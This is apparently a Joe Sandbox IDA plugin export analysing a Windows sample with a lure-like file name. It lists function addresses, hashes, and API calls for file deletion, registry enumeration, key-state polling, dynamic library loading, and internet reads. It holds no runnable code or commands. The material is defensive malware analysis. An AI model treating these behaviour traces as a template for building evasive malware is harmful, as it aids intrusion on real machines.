Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: bb450ee11cd9d006db0c38fce0f06f49a7092d028197165edf19d20fbd56a869
Instruction ID: 24baf2896b9e75f0fcc698adcd0e9b0ced203b1767472a4d630d714f5f36501a
Opcode Fuzzy Hash: bb450ee11cd9d006db0c38fce0f06f49a7092d028197165edf19d20fbd56a869
Instruction Fuzzy Hash: B2D0C2319026615B56221B257C99E8BAA18AFC1F263050226BC00AE216CF28CD42C9DC

Function 004C2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 004C2C05
DeleteFileW.KERNEL32(?), ref: 004C2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 004C2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 004C2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 004C2CC0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: a26b44a963addafbf23043b38295ec1bb2fb3d4607db718e5b1a1a725b60bfb6
Instruction ID: 1d3678c79605a83571f4095e746ea91141dc5ac6b2a73ca7d87cf5b56c946261
Opcode Fuzzy Hash: a26b44a963addafbf23043b38295ec1bb2fb3d4607db718e5b1a1a725b60bfb6
Instruction Fuzzy Hash: 95B16F75D00119ABDF11DFA5CD85EEEBB7DEF08314F0040ABFA09E6141EAB89A448F65

Function 004DA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 004DA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 004DA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 004DA468
CloseHandle.KERNEL32(?), ref: 004DA63D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 74a0f5c7fd617eb46eb9ecbc5e500c10d7b58348ac4fec99156651eb6ba6e3a8
Instruction ID: 5cc2542883f451fd78208666819e5163888eca5478cb5aa47287c4518f9d953a
Opcode Fuzzy Hash: 74a0f5c7fd617eb46eb9ecbc5e500c10d7b58348ac4fec99156651eb6ba6e3a8
Instruction Fuzzy Hash: 95A1A171604300AFD720DF25D892B2AB7E1AF84718F14885EF9999B3D2DB74EC45CB86

Function 004BE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,004BCF22,?), ref: 004BDDFD

Part of subcall function 004BDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,004BCF22,?), ref: 004BDE16

Part of subcall function 004BE199: GetFileAttributesW.KERNEL32(?,004BCF95), ref: 004BE19A

lstrcmpiW.KERNEL32(?,?), ref: 004BE473
MoveFileW.KERNEL32(?,?), ref: 004BE4AC
_wcslen.LIBCMT ref: 004BE5EB
_wcslen.LIBCMT ref: 004BE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 004BE650

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: de29c65b8caffd267e82e24e39eb8bd01f2b2a9946fb14cc57e461e5763d3fe9
Instruction ID: 63a997946a9391f2d5726b5e574654bff86630157ad568f1c5bde9c77e6066b1
Opcode Fuzzy Hash: de29c65b8caffd267e82e24e39eb8bd01f2b2a9946fb14cc57e461e5763d3fe9
Instruction Fuzzy Hash: FB5151B24083859BC724EBA5DC819DB73DCAFC4344F00492FF68993152EF78A588876E

Function 004DB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004DC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004DB6AE,?,?), ref: 004DC9B5
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DC9F1
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA68
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004DBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004DBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 004DBB63
RegCloseKey.ADVAPI32(?,?), ref: 004DBBA6
RegCloseKey.ADVAPI32(00000000), ref: 004DBBB3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: e1628b72971712476fd4212b9bce7d1329d49797e8677d179404d2256214b1d2
Instruction ID: bdab7a8a5ced6753931f5f6ab87d2e75d7851e0a5f23e812f40c9d0b98d3cbea
Opcode Fuzzy Hash: e1628b72971712476fd4212b9bce7d1329d49797e8677d179404d2256214b1d2
Instruction Fuzzy Hash: 0A616A31208241EFC714DF14C8A0E2ABBE5EF84308F55895EF4994B3A2DB35ED46CB96

Function 004B8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004B8BCD
VariantClear.OLEAUT32 ref: 004B8C3E
VariantClear.OLEAUT32 ref: 004B8C9D
VariantClear.OLEAUT32(?), ref: 004B8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 004B8D3B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: e774bcc6e902446e2baa4ec44179fd0c09f7227e9c2debf2e9b3e86da5a7c0ae
Instruction ID: ecf6d840093819321dd23be7e7e914885e58e0fcc7c0324841140a935cd3cdbe
Opcode Fuzzy Hash: e774bcc6e902446e2baa4ec44179fd0c09f7227e9c2debf2e9b3e86da5a7c0ae
Instruction Fuzzy Hash: DA516DB5A00219DFCB10CF68D894AEAB7F8FF89314B15855AE905DB350D734E911CFA4

Function 004C8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 004C8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 004C8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 004C8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 004C8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 004C8C5F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 102c9dc33981500758902bf9e70a1df3b2b5c09c0b807f12f90ca61bfb347e13
Instruction ID: 85c21d943059fe8e9ec827d25a267736269a1d59acd70e6db482de317d0ed2f0
Opcode Fuzzy Hash: 102c9dc33981500758902bf9e70a1df3b2b5c09c0b807f12f90ca61bfb347e13
Instruction Fuzzy Hash: AA515E35A00218AFCB00DF65C880E6ABBF5FF49318F08805DE849AB362DB35ED55CB94

Function 004D8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 004D8F40
GetProcAddress.KERNEL32(00000000,?), ref: 004D8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004D8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 004D9032
FreeLibrary.KERNEL32(00000000), ref: 004D9052

Part of subcall function 0046F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,004C1043,?,753CE610), ref: 0046F6E6
Part of subcall function 0046F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,004AFA64,00000000,00000000,?,?,004C1043,?,753CE610,?,004AFA64), ref: 0046F70D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f20ce0b3ad84bd9f26a50a2a66d97ab827ca944476637c7770a2e54eff240443
Instruction ID: 7fbab859300cd13ae53c770948070849a22851b18b1289be4fd270603c644078
Opcode Fuzzy Hash: f20ce0b3ad84bd9f26a50a2a66d97ab827ca944476637c7770a2e54eff240443
Instruction Fuzzy Hash: EF513B35600205DFC715EF69C4948ADBBF1FF49318B0480AEE8459B362DB35ED8ACB95

Function 004E6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 004E6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 004E6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 004E6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,004CAB79,00000000,00000000), ref: 004E6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 004E6CC7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 6e71ccd5161b84b954db03eb2ffb974cb24345a01f97387eaad83ee5528fb7fd
Instruction ID: bfb77c1cb84d3236f08036cf6894c5b0378bcbdbcb1f11f78f24bded373ac0ce
Opcode Fuzzy Hash: 6e71ccd5161b84b954db03eb2ffb974cb24345a01f97387eaad83ee5528fb7fd
Instruction Fuzzy Hash: 7841F935600194AFD724CF3ACC84FA67BA4EB19391F26022AFD95A73E1C375ED41C648

Function 00482051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004820C3
_free.LIBCMT ref: 004820E3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1fef0180453f7d1c2559ad33661ded7db70e6717977578823f1919f88c90a950
Instruction ID: fd6a5681b5c7c79d6da7d692cca0f36eeafa61d7de45f9f72ed8165d60f7c1b0
Opcode Fuzzy Hash: 1fef0180453f7d1c2559ad33661ded7db70e6717977578823f1919f88c90a950
Instruction Fuzzy Hash: 56410472A002009FCB20EF79C984A5EB7E1EF89314F25896AE615EB391D775ED01CB85

Function 0046912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00469141
ScreenToClient.USER32(00000000,?), ref: 0046915E
GetAsyncKeyState.USER32(00000001), ref: 00469183
GetAsyncKeyState.USER32(00000002), ref: 0046919D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 3478a9299a0400a2eed0ee24435310c49e5c76b539e1031caa54568332d8e43e
Instruction ID: cdfde70832719423e881d976feb25c9ef5b055336dd6999a764fda51193bcd94
Opcode Fuzzy Hash: 3478a9299a0400a2eed0ee24435310c49e5c76b539e1031caa54568332d8e43e
Instruction Fuzzy Hash: AC419271A0821AFBDF159F64C844BEEB7B8FB06324F20422AE425A73D0D7785D51CB96

Function 004C3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 004C38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 004C3922
TranslateMessage.USER32(?), ref: 004C394B
DispatchMessageW.USER32(?), ref: 004C3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004C3966

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 104c0fa2dc836efaa6a81ebadec3bb35c61cb9ae4df5245077574903169a7117
Instruction ID: 128dba720f2c012306bb89ab16eb5a02edd89244321442b01e2dfc4ddc3fff4a
Opcode Fuzzy Hash: 104c0fa2dc836efaa6a81ebadec3bb35c61cb9ae4df5245077574903169a7117
Instruction Fuzzy Hash: 9E31DDB45047829EEB75CF349848F7737E4AF26305F04856FD45286290D3B89686DB1D

Function 004CCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,004CC21E,00000000), ref: 004CCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 004CCF6F
GetLastError.KERNEL32(?,00000000,?,?,?,004CC21E,00000000), ref: 004CCFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,004CC21E,00000000), ref: 004CCFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,004CC21E,00000000), ref: 004CCFF2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 869010d13b13afa1f4467826879f145fda68b079195a53fccdfa5bcbb8e3f166
Instruction ID: 119fe2d349f9660806af13827b9fde6e761ac7533c6815b27c1fbec909cf7b53
Opcode Fuzzy Hash: 869010d13b13afa1f4467826879f145fda68b079195a53fccdfa5bcbb8e3f166
Instruction Fuzzy Hash: 2A317F75900205EFDB60DFA5D8C4EABBBFAEB04314B10446FF51AD6281E738ED419B68

Function 004B1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 004B1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 004B19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 004B19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 004B19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 004B19E2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 67647ae661e3c0c6b2b84be084d0523a5484a931b2d2706a35ba93faf3bf7964
Instruction ID: 9368e60f4f09f495132916533d0570b387f17596fcdec7215b8e49cb85f6accc
Opcode Fuzzy Hash: 67647ae661e3c0c6b2b84be084d0523a5484a931b2d2706a35ba93faf3bf7964
Instruction Fuzzy Hash: D431E4B1900259EFCB00CFA8CD98ADF7BB5EB04314F004226F921AB2E1C3749945CBA4

Function 004E5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 004E5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 004E579D
_wcslen.LIBCMT ref: 004E57AF
_wcslen.LIBCMT ref: 004E57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 004E5816

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: f48b3f32c8712dc6baeb0e99f95086b8939aa30007cf6f005f97a126d235ee90
Instruction ID: 39f4cdc8676a8866c38746a5e6007f17acded086a638ff7449b73bbfa28464a1
Opcode Fuzzy Hash: f48b3f32c8712dc6baeb0e99f95086b8939aa30007cf6f005f97a126d235ee90
Instruction Fuzzy Hash: 9821A7719046989ADB20DF62CC84AEE7778FF04329F108217E919DB2C1D7748985CF59

Function 004D0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 004D0951
GetForegroundWindow.USER32 ref: 004D0968
GetDC.USER32(00000000), ref: 004D09A4
GetPixel.GDI32(00000000,?,00000003), ref: 004D09B0
ReleaseDC.USER32(00000000,00000003), ref: 004D09E8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 452e1be08ff62ba4cafc211acda8119206dad9cd250aad6cb627c26e3a3bbccd
Instruction ID: f3977322c7edcb369f810050333e0939211247eedf678b8cd2628485cb69d0cc
Opcode Fuzzy Hash: 452e1be08ff62ba4cafc211acda8119206dad9cd250aad6cb627c26e3a3bbccd
Instruction Fuzzy Hash: DD21A175600204AFD704EF69C894EAEBBE5EF44704F00807EE84ADB362DB34AC05CB94

Function 0048CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0048CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0048CDE9

Part of subcall function 00483820: RtlAllocateHeap.NTDLL(00000000,?,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6,?,00451129), ref: 00483852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0048CE0F
_free.LIBCMT ref: 0048CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0048CE31

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: cff37b1021203a4c7c984b9f212cee9aee39ff7b70cfd21175b84603f2658f87
Instruction ID: 8731bd927e151461863007937a881e210c9f941fade8ab3ba0f58189c6c80b24
Opcode Fuzzy Hash: cff37b1021203a4c7c984b9f212cee9aee39ff7b70cfd21175b84603f2658f87
Instruction Fuzzy Hash: 9D01D4726012557F23213ABA6CC8C7F696DDFC6BA1315052FFD05C7201EA788D0283B8

Function 00469639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

